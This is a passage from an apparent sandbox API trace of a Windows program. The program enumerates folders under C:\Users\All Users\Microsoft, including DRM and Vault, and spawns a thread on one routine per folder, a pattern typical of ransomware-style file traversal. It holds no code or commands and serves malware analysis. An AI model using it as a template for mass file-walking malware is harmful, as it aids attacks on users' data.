_Dest=0x2fa0ff0, _Source="DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0168.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa0ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0168.784] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0168.784] wcscmp (_String1="Event Viewer", _String2=".") returned 1 [0168.784] wcscmp (_String1="Event Viewer", _String2="..") returned 1 [0168.784] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2faa090 [0168.784] wcscpy (in: _Dest=0x2faa090, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.784] wcscat (in: _Dest=0x2faa090, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.784] wcscat (in: _Dest=0x2faa090, _Source="Event Viewer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0168.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2faa090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4 [0168.785] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0168.785] wcscmp (_String1="IdentityCRL", _String2=".") returned 1 [0168.785] wcscmp (_String1="IdentityCRL", _String2="..") returned 1 [0168.785] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa9f70 [0168.785] wcscpy (in: _Dest=0x2fa9f70, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.785] wcscat (in: _Dest=0x2fa9f70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.785] wcscat (in: _Dest=0x2fa9f70, _Source="IdentityCRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0168.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa9f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0168.786] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1 [0168.786] wcscmp (_String1="MapData", _String2=".") returned 1 [0168.786] wcscmp (_String1="MapData", _String2="..") returned 1 [0168.786] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4a) returned 0x2f6c140 [0168.786] wcscpy (in: _Dest=0x2f6c140, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.786] wcscat (in: _Dest=0x2f6c140, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.786] wcscat (in: _Dest=0x2f6c140, _Source="MapData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MapData") returned="C:\\Users\\All Users\\Microsoft\\MapData" [0168.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6c140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0168.786] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x84e4d036, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84e4d036, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0168.787] wcscmp (_String1="MF", _String2=".") returned 1 [0168.787] wcscmp (_String1="MF", _String2="..") returned 1 [0168.787] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87668 [0168.787] wcscpy (in: _Dest=0x2f87668, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.787] wcscat (in: _Dest=0x2f87668, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.787] wcscat (in: _Dest=0x2f87668, _Source="MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0168.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac [0168.787] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0168.787] wcscmp (_String1="NetFramework", _String2=".") returned 1 [0168.787] wcscmp (_String1="NetFramework", _String2="..") returned 1 [0168.787] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2faa1b0 [0168.787] wcscpy (in: _Dest=0x2faa1b0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.788] wcscat (in: _Dest=0x2faa1b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.788] wcscat (in: _Dest=0x2faa1b0, _Source="NetFramework" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0168.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2faa1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0168.788] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0168.788] wcscmp (_String1="Network", _String2=".") returned 1 [0168.788] wcscmp (_String1="Network", _String2="..") returned 1 [0168.788] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4a) returned 0x2f64430 [0168.788] wcscpy (in: _Dest=0x2f64430, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.788] wcscat (in: _Dest=0x2f64430, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.788] wcscat (in: _Dest=0x2f64430, _Source="Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0168.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f64430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0168.789] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0168.789] wcscmp (_String1="Office", _String2=".") returned 1 [0168.789] wcscmp (_String1="Office", _String2="..") returned 1 [0168.789] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x48) returned 0x2fa1040 [0168.789] wcscpy (in: _Dest=0x2fa1040, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.789] wcscat (in: _Dest=0x2fa1040, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.789] wcscat (in: _Dest=0x2fa1040, _Source="Office" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office") returned="C:\\Users\\All Users\\Microsoft\\Office" [0168.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa1040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0168.790] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0168.790] wcscmp (_String1="Provisioning", _String2=".") returned 1 [0168.790] wcscmp (_String1="Provisioning", _String2="..") returned 1 [0168.790] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2faa150 [0168.790] wcscpy (in: _Dest=0x2faa150, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.790] wcscat (in: _Dest=0x2faa150, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.790] wcscat (in: _Dest=0x2faa150, _Source="Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0168.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2faa150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4 [0168.791] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0168.791] wcscmp (_String1="Search", _String2=".") returned 1 [0168.791] wcscmp (_String1="Search", _String2="..") returned 1 [0168.791] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x48) returned 0x2fa10e0 [0168.791] wcscpy (in: _Dest=0x2fa10e0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.791] wcscat (in: _Dest=0x2fa10e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.791] wcscat (in: _Dest=0x2fa10e0, _Source="Search" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search" [0168.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa10e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0168.792] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0168.792] wcscmp (_String1="Settings", _String2=".") returned 1 [0168.792] wcscmp (_String1="Settings", _String2="..") returned 1 [0168.792] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f63fb0 [0168.792] wcscpy (in: _Dest=0x2f63fb0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.792] wcscat (in: _Dest=0x2f63fb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.792] wcscat (in: _Dest=0x2f63fb0, _Source="Settings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings") returned="C:\\Users\\All Users\\Microsoft\\Settings" [0168.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f63fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0168.792] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1 [0168.792] wcscmp (_String1="SmsRouter", _String2=".") returned 1 [0168.792] wcscmp (_String1="SmsRouter", _String2="..") returned 1 [0168.792] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2f62dd0 [0168.793] wcscpy (in: _Dest=0x2f62dd0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.793] wcscat (in: _Dest=0x2f62dd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.793] wcscat (in: _Dest=0x2f62dd0, _Source="SmsRouter" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter" [0168.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f62dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0168.794] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spectrum", cAlternateFileName="")) returned 1 [0168.794] wcscmp (_String1="Spectrum", _String2=".") returned 1 [0168.794] wcscmp (_String1="Spectrum", _String2="..") returned 1 [0168.794] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f6c5c8 [0168.794] wcscpy (in: _Dest=0x2f6c5c8, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.794] wcscat (in: _Dest=0x2f6c5c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.794] wcscat (in: _Dest=0x2f6c5c8, _Source="Spectrum" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Spectrum") returned="C:\\Users\\All Users\\Microsoft\\Spectrum" [0168.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6c5c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0168.795] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1 [0168.795] wcscmp (_String1="Speech_OneCore", _String2=".") returned 1 [0168.795] wcscmp (_String1="Speech_OneCore", _String2="..") returned 1 [0168.795] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2faa210 [0168.795] wcscpy (in: _Dest=0x2faa210, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.795] wcscat (in: _Dest=0x2faa210, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.795] wcscat (in: _Dest=0x2faa210, _Source="Speech_OneCore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Speech_OneCore") returned="C:\\Users\\All Users\\Microsoft\\Speech_OneCore" [0168.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2faa210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0168.795] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x86a04522, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86a04522, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage Health", cAlternateFileName="STORAG~1")) returned 1 [0168.795] wcscmp (_String1="Storage Health", _String2=".") returned 1 [0168.796] wcscmp (_String1="Storage Health", _String2="..") returned 1 [0168.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa9fd0 [0168.796] wcscpy (in: _Dest=0x2fa9fd0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.796] wcscat (in: _Dest=0x2fa9fd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.796] wcscat (in: _Dest=0x2fa9fd0, _Source="Storage Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health") returned="C:\\Users\\All Users\\Microsoft\\Storage Health" [0168.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa9fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0168.796] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1 [0168.796] wcscmp (_String1="UEV", _String2=".") returned 1 [0168.796] wcscmp (_String1="UEV", _String2="..") returned 1 [0168.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x42) returned 0x2fa13b0 [0168.797] wcscpy (in: _Dest=0x2fa13b0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.797] wcscat (in: _Dest=0x2fa13b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.797] wcscat (in: _Dest=0x2fa13b0, _Source="UEV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV") returned="C:\\Users\\All Users\\Microsoft\\UEV" [0168.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa13b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0168.797] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x869b8139, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x869b8139, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0168.797] wcscmp (_String1="User Account Pictures", _String2=".") returned 1 [0168.797] wcscmp (_String1="User Account Pictures", _String2="..") returned 1 [0168.797] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x2f716c0 [0168.797] wcscpy (in: _Dest=0x2f716c0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.797] wcscat (in: _Dest=0x2f716c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.797] wcscat (in: _Dest=0x2f716c0, _Source="User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0168.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f716c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510 [0168.798] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0168.798] wcscmp (_String1="Vault", _String2=".") returned 1 [0168.798] wcscmp (_String1="Vault", _String2="..") returned 1 [0168.798] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x46) returned 0x2fa1130 [0168.798] wcscpy (in: _Dest=0x2fa1130, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.798] wcscat (in: _Dest=0x2fa1130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.798] wcscat (in: _Dest=0x2fa1130, _Source="Vault" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault" [0168.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa1130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c [0168.799] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1 [0168.799] wcscmp (_String1="WDF", _String2=".") returned 1 [0168.799] wcscmp (_String1="WDF", _String2="..") returned 1 [0168.799] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x42) returned 0x2fa1220 [0168.799] 